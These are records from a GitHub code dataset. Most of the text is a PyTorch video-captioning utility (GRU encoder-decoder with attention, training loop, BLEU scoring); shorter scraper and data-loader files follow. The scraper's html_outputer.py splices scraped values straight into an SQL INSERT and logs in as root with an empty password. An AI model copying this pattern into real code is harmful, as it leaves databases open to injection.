captions_str[l['id']]=[x.rstrip('.') for x in l['caption']]\n elif mode== 'test':\n # save the captions_str is for getting the grounded sequence when evaluating\n for l in labels:\n captions_id[l['id']]=self.IndexFromSentence([l['caption'][0]],begin=True,end=True)\n captions_str[l['id']]= [x.rstrip('.') for x in l['caption']]\n else : raise ValueError('Wrong mode.')\n dataset=VideoDataset(feats,captions_id)\n self.data[name]= [DataLoader(dataset, batch_size=batch_size, shuffle=shuffle), captions_str]\n def get_test_data(self,name,f_path, batch_size,shuffle=False):\n # self.data[name]=dataloader\n feats={}\n for i in os.listdir(f_path):\n if not i.startswith('.'):\n x=torch.FloatTensor(np.load('{}/{}'.format(f_path,i)))\n feats[i[:-4]]=x\n\n dataset=VideoDataset(feats)\n self.data[name]= DataLoader(dataset, batch_size=batch_size, shuffle=shuffle)\n def IndexFromSentence(self,sentences,begin=False,end=True):\n indexes=[]\n for s in sentences:\n index=[]\n if begin: index.append(self.voc.word2index('SOS'))\n index.extend([self.voc.word2index(word) for word in s.split(' ')])\n if end: index.append(self.voc.word2index('EOS'))\n if len(index)< self.max_length : \n index.extend([self.voc.word2index('PAD') for i in range(self.max_length -len(index))])\n indexes.append(index)\n indexes = torch.LongTensor(indexes)\n return indexes\n def train(self,input_variable, target_variable, encoder, decoder, encoder_optimizer, decoder_optimizer, criterion, words, teacher_forcing_ratio=1):\n encoder.train()\n decoder.train()\n encoder_optimizer.zero_grad()\n decoder_optimizer.zero_grad()\n\n loss = Variable(torch.cuda.FloatTensor([0]).cuda())\n loss_n = 0\n\n encoder_outputs, encoder_hidden = encoder(input_variable)\n\n\n #decoder_hidden= decoder.hidden_layer(len(input_variable))\n decoder_hidden= encoder_hidden\n decoder_input=torch.index_select(target_variable, 1, Variable(torch.LongTensor([0])).cuda())\n \n use_teacher_forcing = True if random.random() < teacher_forcing_ratio else False\n\n for di in range(1,self.max_length):\n decoder_output, decoder_hidden= decoder(\n decoder_input, decoder_hidden, encoder_outputs)\n if use_teacher_forcing:\n # Teacher forcing: Feed the target as the next input\n decoder_input=torch.index_select(target_variable, 1, Variable(torch.LongTensor([di])).cuda())\n target=decoder_input.view(-1)\n l,n = self.loss(criterion,decoder_output, target)\n loss = loss + l\n loss_n += n\n words.append(decoder_output.data.max(1,keepdim=True)[1])\n else:\n # Without teacher forcing: use its own predictions as the next input\n ni = decoder_output.data.max(1,keepdim=True)[1]\n decoder_input = Variable(ni)\n target=torch.index_select(target_variable, 1, Variable(torch.LongTensor([di])).cuda()).view(-1)\n l,n = self.loss(criterion,decoder_output, target)\n loss = loss + l\n loss_n += n\n words.append(ni)\n\n loss=loss / loss_n\n loss.backward()\n encoder_optimizer.step()\n decoder_optimizer.step()\n return float(loss)/ (self.max_length)\n def trainIters(self,encoder, decoder, name, test_name, n_epochs, write_file, plot_file, learning_rate=0.001, print_every=2):\n encoder_optimizer = optim.Adam(encoder.parameters(), lr=learning_rate)\n decoder_optimizer = optim.Adam(decoder.parameters(), lr=learning_rate)\n \n criterion = nn.CrossEntropyLoss(size_average=False)\n teacher_forcing_ratio=F.sigmoid(torch.linspace(30,-5,n_epochs))\n data_size = len(self.data[name][0].dataset)\n record=0\n loss_bleu_list=[]\n for epoch in range(n_epochs):\n start = time.time()\n loss_total=0\n print_loss_total = 0 # Reset every print_every\n bleu=[]\n for step, (batch_x, batch_y, video) in enumerate(self.data[name][0]):\n batch_index=step+1\n batch_x=Variable(batch_x).cuda()\n batch_y=Variable(batch_y).cuda()\n words=[]\n\n loss = self.train(batch_x, batch_y, encoder, decoder, encoder_optimizer, decoder_optimizer, criterion, words, teacher_forcing_ratio=teacher_forcing_ratio[epoch])\n # loss\n loss_total+=loss\n # bleu\n words= torch.cat(words,1)\n bleu.extend(self.bleu_batch(words,name,video[0]))\n\n if batch_index% print_every == 0:\n print_loss_avg = (loss_total - print_loss_total )/ print_every\n print_loss_total = loss_total\n print('\\rTrain Epoch: {} | [{}/{} ({:.0f}%)] | Loss: {:.6f} | Time: {} '.format(\n epoch+1 , batch_index*len(batch_x), data_size,\n 100. * batch_index*len(batch_x)/ data_size, print_loss_avg,\n self.timeSince(start, batch_index*len(batch_x)/ data_size)),end='')\n bleu_average = sum(bleu) / len(bleu)\n print('\\nTime: {} | Total loss: {:.4f} | Bleu Score: {:.5f}'.format(self.timeSince(start,1),loss_total/batch_index,bleu_average))\n print('-'*80)\n if (epoch+1)%10==0: self.evaluate(encoder,decoder,name, n=3)\n record = self.evaluate(encoder,decoder,test_name, write_file=write_file,record= record, n=5)\n loss_bleu_list.append([loss_total/ batch_index, bleu_average])\n if plot_file != None: self.plot(loss_bleu_list, plot_file)\n def evaluate(self,encoder, decoder, name, write_file=None, record=0, n=5):\n encoder.eval()\n decoder.eval()\n\n start = time.time()\n loss=0\n loss_n=0\n decoded_words = []\n videos = [[],[]]\n criterion = nn.CrossEntropyLoss(size_average=False)\n\n print_image=[random.choice(list(self.data[name][0].dataset.feats.keys())) for i in range(n)]\n\n data_size = len(self.data[name][0].dataset)\n for step, (batch_x, batch_y,video) in enumerate(self.data[name][0]):\n batch_index=step+1\n batch_x=Variable(batch_x).cuda()\n batch_y=Variable(batch_y).cuda()\n\n encoder_outputs, encoder_hidden = encoder(batch_x)\n\n decoder_hidden= encoder_hidden\n decoder_input=torch.index_select(batch_y, 1, Variable(torch.LongTensor([0])).cuda())\n\n words=[]\n bleu=[]\n\n for di in range(1,self.max_length):\n decoder_output, decoder_hidden = decoder(\n decoder_input, decoder_hidden, encoder_outputs)\n ni = decoder_output.data.max(1,keepdim=True)[1]\n decoder_input = Variable(ni)\n words.append(ni)\n\n target=torch.index_select(batch_y, 1, Variable(torch.LongTensor([di])).cuda()).view(-1)\n l, n = self.loss(criterion,decoder_output, target)\n loss += float(l)\n loss_n += n\n\n words= torch.cat(words,1)\n bleu.extend(self.bleu_batch(words, name, video[0]))\n\n decoded_words.extend(words.unsqueeze(1))\n videos[0].extend(video[0])\n videos[1].extend(video[1])\n\n loss /= loss_n\n\n print('\\r{} | [{}/{} ({:.0f}%)] | Loss: {:.6f} | Time: {} '.format(\n name.upper(),\n batch_index*len(batch_x), data_size,\n 100. * batch_index*len(batch_x)/ data_size, loss,\n self.timeSince(start, batch_index*len(batch_x)/ data_size)),end='')\n\n bleu_average = sum(bleu) / len(bleu)\n decoded_words=torch.cat(decoded_words,0)\n print('\\nTime: {} | Bleu Score: {:.5f}'.format(self.timeSince(start,1),bleu_average))\n # output decoded and ground sequence\n for i in print_image:\n seq_id=videos[0].index(i)\n seq_list=[]\n for j in decoded_words[seq_id]:\n index=int(j)\n if index ==self.voc.word2index('EOS'): break\n seq_list.append(self.voc.index2word[index])\n d_seq=' '.join(seq_list)\n g_seq=self.data[name][1][i][videos[1][seq_id]]\n print('id: {:<25} | decoded_sequence: {}'.format(i,d_seq))\n print(' {:<25} | ground_sequence: {}'.format(' '*len(i),g_seq))\n # writing output file\n if write_file!=None and bleu_average > record:\n self.write(write_file,decoded_words,name,videos[0])\n torch.save(encoder,'encoder.pt')\n torch.save(decoder,'decoder.pt')\n print('-'*80)\n return max(bleu_average, record)\n def predict(self,encoder, decoder, name, write_file=None):\n encoder.eval()\n decoder.eval()\n\n start = time.time()\n decoded_words = []\n videos = [[],[]]\n\n data_size = len(self.data[name].dataset)\n for step, (batch_x,video) in enumerate(self.data[name]):\n batch_index=step+1\n batch_x=Variable(batch_x).cuda()\n\n encoder_outputs, encoder_hidden = encoder(batch_x)\n\n decoder_hidden= encoder_hidden\n decoder_input = Variable(torch.LongTensor([self.voc.word2index('SOS') for i in range(len(batch_x))]).cuda()) \n\n words=[]\n\n for di in range(1,self.max_length):\n decoder_output, decoder_hidden = decoder(\n decoder_input, decoder_hidden, encoder_outputs)\n ni = decoder_output.data.max(1,keepdim=True)[1]\n decoder_input = Variable(ni)\n words.append(ni)\n\n words= torch.cat(words,1)\n decoded_words.extend(words.unsqueeze(1))\n videos[0].extend(video[0])\n videos[1].extend(video[1])\n\n\n print('\\r{} | [{}/{} ({:.0f}%)] | Time: {} '.format(\n name.upper(),\n batch_index*len(batch_x), data_size,\n 100. * batch_index*len(batch_x)/ data_size,\n self.timeSince(start, batch_index*len(batch_x)/ data_size)),end='')\n\n decoded_words=torch.cat(decoded_words,0)\n print('\\nTime: {} '.format(self.timeSince(start,1)))\n # writing output file\n if write_file!=None:\n self.write(write_file,decoded_words,name,videos[0])\n print('-'*80)\n def loss(self,criterion,output,target):\n check_t=(target!=self.voc.word2index(\"PAD\"))\n t=torch.masked_select(target,check_t).view(-1)\n check_o=check_t.view(-1,1)\n o=torch.masked_select(output,check_o).view(-1,self.vocab_size)\n if len(t)==0: return 0,0\n else : return criterion(o,t),len(t)\n def timeSince(self,since, percent):\n now = time.time()\n s = now - since\n es = s / (percent)\n rs = es - s\n return '%s (- %s)' % (self.asMinutes(s), self.asMinutes(rs))\n def asMinutes(self,s):\n m = math.floor(s / 60)\n s -= m * 60\n return '%dm %ds' % (m, s)\n def write(self,path,decoded_words,name,video):\n with open(path,'w') as f:\n for i in range(len(video)):\n seq_list=[]\n for j in decoded_words[i]:\n index=int(j)\n if index ==self.voc.word2index('EOS'): break\n seq_list.append(self.voc.index2word[index])\n d_seq=' '.join(seq_list)\n f.write('{},{}\\n'.format(video[i],d_seq))\n def bleu_batch(self, words, name, video):\n bleu=[]\n for i in range(len(video)):\n seq_list=[]\n for j in words[i]:\n index=int(j)\n if index ==self.voc.word2index('EOS'): break\n seq_list.append(self.voc.index2word[index])\n seq_list=' '.join(seq_list)\n target_list=self.data[name][1][video[i]]\n if (len(seq_list)!=0):\n bleu.append(self.BLEU(seq_list,target_list,True))\n return bleu\n def BLEU(self,s,t,flag = False):\n score = 0. \n candidate = [s.strip()]\n if flag:\n references = [[t[i].strip()] for i in range(len(t))]\n else:\n references = [[t.strip()]] \n precisions = []\n pr, bp = self.count_ngram(candidate, references, 1)\n precisions.append(pr)\n score = self.geometric_mean(precisions) * bp\n return score\n def geometric_mean(self,precisions):\n return (reduce(operator.mul, precisions)) ** (1.0 / len(precisions))\n def brevity_penalty(self,c, r):\n if c > r:\n bp = 1\n else:\n bp = math.exp(1-(float(r)/c))\n return bp\n def best_length_match(self,ref_l, cand_l):\n \"\"\"Find the closest length of reference to that of candidate\"\"\"\n least_diff = abs(cand_l-ref_l[0])\n best = ref_l[0]\n for ref in ref_l:\n if abs(cand_l-ref) < least_diff:\n least_diff = abs(cand_l-ref)\n best = ref\n return best\n def count_ngram(self,candidate, references, n):\n clipped_count = 0\n count = 0\n r = 0\n c = 0\n for si in range(len(candidate)):\n # Calculate precision for each sentence\n ref_counts = []\n ref_lengths = []\n # Build dictionary of ngram counts\n for reference in references:\n ref_sentence = reference[si]\n ngram_d = {}\n words = ref_sentence.strip().split()\n ref_lengths.append(len(words))\n limits = len(words) - n + 1\n # loop through the sentance consider the ngram length\n for i in range(limits):\n ngram = ' '.join(words[i:i+n]).lower()\n if ngram in ngram_d.keys():\n ngram_d[ngram] += 1\n else:\n ngram_d[ngram] = 1\n ref_counts.append(ngram_d)\n # candidate\n cand_sentence = candidate[si]\n cand_dict = {}\n words = cand_sentence.strip().split()\n limits = len(words) - n + 1\n for i in range(0, limits):\n ngram = ' '.join(words[i:i + n]).lower()\n if ngram in cand_dict:\n cand_dict[ngram] += 1\n else:\n cand_dict[ngram] = 1\n clipped_count += self.clip_count(cand_dict, ref_counts)\n count += limits\n r += self.best_length_match(ref_lengths, len(words))\n c += len(words)\n if clipped_count == 0:\n pr = 0\n else:\n pr = float(clipped_count) / count\n bp = self.brevity_penalty(c, r)\n return pr, bp\n def clip_count(self,cand_d, ref_ds):\n \"\"\"Count the clip count for each ngram considering all references\"\"\"\n count = 0\n for m in cand_d.keys():\n m_w = cand_d[m]\n m_max = 0\n for ref in ref_ds:\n if m in ref:\n m_max = max(m_max, ref[m])\n m_w = min(m_w, m_max)\n count += m_w\n return count\n def count_parameters(self,model):\n return sum(p.numel() for p in model.parameters() if p.requires_grad)\n def plot(self, record, path):\n x=np.array(list(range(1,len(record)+1)),dtype=np.uint8)\n y=np.array(record)\n plt.figure()\n plt.plot(x,y[:,0],'b',label='loss')\n plt.plot(x,y[:,1],'g',label='bleu')\n plt.legend()\n plt.savefig(path)\n #plt.close()\nclass Vocabulary:\n def __init__(self, vocabulary_file,min_count):\n if vocabulary_file == None:\n self.w2i= {\"SOS\":0, \"EOS\":1, \"PAD\":2, \"UNK\":3}\n self.word2count = {}\n self.index2word = {0: \"SOS\", 1: \"EOS\", 2: \"PAD\", 3:\"UNK\"}\n self.n_words = 4 # Count SOS and EOS and PAD and UNK\n self.min_count=min_count\n else:\n self.load(vocabulary_file)\n def word2index(self,word):\n word=word.lower()\n if word in self.w2i: return self.w2i[word]\n else: return self.w2i[\"UNK\"]\n def addSentence(self, sentences):\n max_sen=0\n for sentence in sentences:\n sentence_list=sentence.split(' ')\n for word in sentence_list:\n self.addWord(word)\n if len(sentence_list)>max_sen: max_sen=len(sentence_list)\n return max_sen\n def addWord(self, word):\n word=word.lower()\n if word in self.word2count: self.word2count[word]+=1\n else: self.word2count[word] = 1\n if self.word2count[word] == self.min_count:\n self.w2i[word] = self.n_words\n self.index2word[self.n_words] = word\n self.n_words += 1\n def save(self, path):\n index_list= sorted( self.w2i , key= self.w2i.get)\n with open( path, 'w') as f:\n f.write('\\n'.join(index_list))\n def load(self, path):\n self.w2i= {}\n self.word2count= {}\n self.index2word= {}\n with open(path,'r') as f:\n i=0\n for line in f:\n word=line.replace('\\n','')\n self.w2i[word] = i\n self.word2count[word]=0\n self.index2word[i] = word\n i+=1\n self.n_words=len(self.w2i)\nclass EncoderRNN(nn.Module):\n def __init__(self,input_size, hidden_size, layer_n, dropout=0.3):\n super(EncoderRNN, self).__init__()\n self.hidden_size = hidden_size\n self.hidden = self.initHidden(layer_n)\n self.rnn = nn.GRU(input_size, hidden_size, num_layers= layer_n, batch_first=True, dropout=dropout)\n def forward(self, x):\n hidden = torch.cat([self.hidden for i in range(len(x))],1)\n output, hidden = self.rnn(x, hidden)\n output = output / torch.matmul(torch.norm(output,2,dim=2).unsqueeze(2),Variable(torch.ones(1,self.hidden_size)).cuda())\n return output, hidden\n def initHidden(self,layer_n):\n return Variable(torch.zeros(layer_n,1, self.hidden_size),requires_grad=True).cuda()\nclass AttnDecoderRNN(nn.Module):\n def __init__(self, hidden_size, vocab_size, layer_n, hop_n, dropout):\n super(AttnDecoderRNN, self).__init__()\n self.hidden_size = hidden_size\n self.vocab_size = vocab_size \n self.hop_n= hop_n \n self.hidden= self.initHidden(layer_n)\n\n self.embedding = nn.Embedding(self.vocab_size, self.hidden_size)\n self.attn = nn.Sequential( nn.Linear(self.hidden_size * (layer_n+1), self.hidden_size),\n nn.SELU(),\n nn.Dropout(dropout))\n self.attn_weight = nn.Softmax(1)\n self.attn_combine = nn.Sequential( nn.Linear(self.hidden_size * 2, self.hidden_size))\n self.rnn= nn.GRU(self.hidden_size, self.hidden_size,num_layers= layer_n,batch_first=True, dropout=dropout)\n self.out = nn.Sequential( nn.Linear(self.hidden_size, self.vocab_size),\n nn.SELU(),\n nn.Dropout(dropout))\n def forward(self, x, hidden, encoder_outputs):\n # x size: batch * 1\n # encoder outputs size: batch * 80 * hidden\n # hidden size: 1 * batch * hidden\n embedded = self.embedding(x).squeeze(1) # batch * hidden\n\n h=torch.transpose(hidden,0,1).contiguous().view(hidden.size()[1],-1)\n z = self.attn(torch.cat((embedded, h), 1)) # batch * hidden\n # hopping\n for n in range(self.hop_n):\n weight = self.attn_weight(torch.bmm(encoder_outputs,z.unsqueeze(2)).squeeze(2)) # batch * 80 \n z = torch.bmm(weight.unsqueeze(1),encoder_outputs).squeeze(1) # batch * hidden\n\n output = self.attn_combine(torch.cat((embedded, z), 1)).unsqueeze(1)\n\n output, hidden=self.rnn(output, hidden)\n output = self.out(output.squeeze(1))\n return output, hidden\n def hidden_layer(self,n):\n return torch.cat([self.hidden for i in range(n)],1)\n def initHidden(self,layer_n):\n return Variable(torch.zeros(layer_n,1, self.hidden_size),requires_grad=True).cuda()\nclass VideoDataset(Dataset):\n def __init__(self, feats, captions=None):\n self.feats=feats\n self.captions=captions\n index=[]\n if captions != None:\n for i in captions:\n index.extend([(i,j) for j in range(len(captions[i]))])\n else :\n index.extend([(i,0) for i in feats])\n self.index=index\n #print(len(index))\n def __getitem__(self, i):\n x=self.feats[self.index[i][0]]\n #x+=torch.normal(torch.zeros_like(x),0.1)\n if self.captions != None:\n y=self.captions[self.index[i][0]][self.index[i][1]]\n return x,y,self.index[i]\n else :\n return x,self.index[i]\n def __len__(self):\n return len(self.index)\n", "repo_name": "onedayatatime0923/MLDS", "sub_path": "hw2/2-1/util.py", "file_name": "util.py", "file_ext": "py", "file_size_in_byte": 22910, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "matplotlib.use", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 18, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 35, "usage_type": "call"}, {"api_name": "json.load", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 57, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 86, "usage_type": "call"}, {"api_name": "torch.cuda.FloatTensor", "line_number": 86, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 86, "usage_type": "attribute"}, {"api_name": "torch.index_select", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 94, "usage_type": "call"}, {"api_name": "random.random", "line_number": 96, "usage_type": "call"}, {"api_name": "torch.index_select", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 112, "usage_type": "call"}, {"api_name": "torch.index_select", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 125, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 125, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 126, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 126, "usage_type": "name"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 128, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 128, "usage_type": "name"}, {"api_name": "torch.nn.functional.sigmoid", "line_number": 129, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 129, "usage_type": "name"}, {"api_name": "torch.linspace", "line_number": 129, "usage_type": "call"}, {"api_name": "time.time", "line_number": 134, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 140, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 141, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 148, "usage_type": "call"}, {"api_name": "time.time", "line_number": 169, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 174, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 174, "usage_type": "name"}, {"api_name": "random.choice", "line_number": 176, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 181, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 182, "usage_type": "call"}, {"api_name": "torch.index_select", "line_number": 187, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 187, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 187, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 196, "usage_type": "call"}, {"api_name": "torch.index_select", "line_number": 199, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 199, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 199, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 204, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 220, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 237, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 238, "usage_type": "call"}, {"api_name": "time.time", "line_number": 245, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 252, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 257, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 257, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 265, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 268, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 280, "usage_type": "call"}, {"api_name": "torch.masked_select", "line_number": 288, "usage_type": "call"}, {"api_name": "torch.masked_select", "line_number": 290, "usage_type": "call"}, {"api_name": "time.time", "line_number": 294, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 300, "usage_type": "call"}, {"api_name": "functools.reduce", "line_number": 339, "usage_type": "call"}, {"api_name": "operator.mul", "line_number": 339, "usage_type": "attribute"}, {"api_name": "math.exp", "line_number": 344, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 415, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 415, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 416, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 417, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 417, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 418, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 418, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 419, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 419, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 420, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 420, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 421, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 421, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 470, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 470, "usage_type": "name"}, {"api_name": "torch.nn.GRU", "line_number": 475, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 475, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 477, "usage_type": "call"}, {"api_name": "torch.matmul", "line_number": 479, "usage_type": "call"}, {"api_name": "torch.norm", "line_number": 479, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 479, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 479, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 482, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 482, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 483, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 483, "usage_type": "name"}, {"api_name": "torch.nn.Embedding", "line_number": 491, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 491, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 492, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 492, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 492, "usage_type": "call"}, {"api_name": "torch.nn.SELU", "line_number": 493, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 493, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 494, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 494, "usage_type": "name"}, {"api_name": "torch.nn.Softmax", "line_number": 495, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 495, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 496, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 496, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 496, "usage_type": "call"}, {"api_name": "torch.nn.GRU", "line_number": 497, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 497, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 498, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 498, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 498, "usage_type": "call"}, {"api_name": "torch.nn.SELU", "line_number": 499, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 499, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 500, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 500, "usage_type": "name"}, {"api_name": "torch.transpose", "line_number": 507, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 508, "usage_type": "call"}, {"api_name": "torch.bmm", "line_number": 511, "usage_type": "call"}, {"api_name": "torch.bmm", "line_number": 512, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 514, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 520, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 522, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 522, "usage_type": "call"}, {"api_name": "torch.utils.data.Dataset", "line_number": 523, "usage_type": "name"}]} {"seq_id": "70159072571", "text": "import pymysql\nimport time\n\n\nclass HtmlOutputer(object):\n def __init__(self):\n self.datas = []\n self.conn = pymysql.connect(\n host= 'localhost',\n port= 3306,\n user= 'root',\n passwd= '',\n db= 'movie',\n use_unicode=True,\n charset=\"utf8\",\n )\n\n self.cur = self.conn.cursor()\n self.cur.execute('SET NAMES utf8;')\n self.cur.execute('SET CHARACTER SET utf8;')\n self.cur.execute('SET character_set_connection=utf8;')\n\n def output_html(self, data):\n insert_sql = \"insert into movies(movie_title,movie_download_url,movie_come_from_url,fetch_time) values('%s','%s','%s','%s')\" % (data['title'], data['href'], data['url'], time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())))\n self.cur.execute(insert_sql)\n\n def collect_data(self, new_data):\n if new_data is None:\n return\n self.datas.append(new_data)\n", "repo_name": "stefangui/hao6_movie_spider_-multi_threads", "sub_path": "gaoqing_spider/html_outputer.py", "file_name": "html_outputer.py", "file_ext": "py", "file_size_in_byte": 975, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pymysql.connect", "line_number": 8, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 24, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 24, "usage_type": "call"}, {"api_name": "time.time", "line_number": 24, "usage_type": "call"}]} {"seq_id": "70421114172", "text": "from DataLoader.Utils import *\nimport json\nimport cv2\nimport numpy as np\nfrom DataLoader.Helper.Helper_Global2Local import Global2Local\nfrom DataLoader.Helper.Helper_TargetPacker import *\nimport pandas as pd\n\nclass DataLoader0_ReadAnns():\n def __init__(self):\n self.data = None\n self.conv_g2l = Global2Local()\n self.packer = TargetPacker4D()\n with open(getTrainAnnPath()) as json_file:\n self.data = json.load(json_file)\n self.N = len(self.data)\n\n def getImgAt(self, i):\n imgId = self.getImgIdAt(i)\n imgPath = getImgPath(imgId)\n img = cv2.imread(imgPath) / 255.0\n return img\n\n def getResizedInfoAt(self, i):\n img = self.getImgAt(i)\n bboxes =self. getBBoxesAt(i)\n objNames = self.getObjNamesAt(i)\n objIds = self.getObjIdsAt(i)\n img, bboxes = self.conv_g2l.resize(img, bboxes)\n return img, bboxes, objNames, objIds\n\n def getTargetAt(self, i):\n img = self.getImgAt(i)\n bboxes = self.getBBoxesAt(i)\n objIds = self.getObjIdsAt(i)\n img, res_bb = self.conv_g2l.resize(img, bboxes)\n counter, label = self.packer.packBBoxAndObj(res_bb, objIds)\n return img, objIds, self.packer.isMoreThanOneObjPerGrid(counter), counter, label\n\n def printAnnsAt(self, i):\n print(self.getImgIdAt(i))\n print(self.getObjIdsAt(i))\n print(self.getObjNamesAt(i))\n print(self.getBBoxesAt(i))\n\n def getImgIdAt(self, i):\n return self.data[i]['imgId']\n\n def getObjIdsAt(self, i):\n return np.array(self.data[i]['objId'], dtype=int)\n\n def getBBoxesAt(self, i):\n return np.array(self.data[i]['bboxes'], dtype=int)\n\n def getObjNamesAt(self, i):\n return self.data[i]['objName']", "repo_name": "ElliotHYLee/MyYOLO", "sub_path": "DataLoader/DataLoader0_ReadAnns.py", "file_name": "DataLoader0_ReadAnns.py", "file_ext": "py", "file_size_in_byte": 1775, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "DataLoader.Helper.Helper_Global2Local.Global2Local", "line_number": 12, "usage_type": "call"}, {"api_name": "json.load", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 53, "usage_type": "call"}]} {"seq_id": "39448900466", "text": "from collections import namedtuple\n\nimport yaml\nfrom contracts import raise_wrapped, check_isinstance\nfrom duckietown_challenges import ChallengesConstants\nfrom . import dclogger\n\nclass InvalidChallengeDescription(Exception):\n pass\n\n\nSTATE_START = 'START'\nSTATE_ERROR = 'ERROR'\nSTATE_SUCCESS = 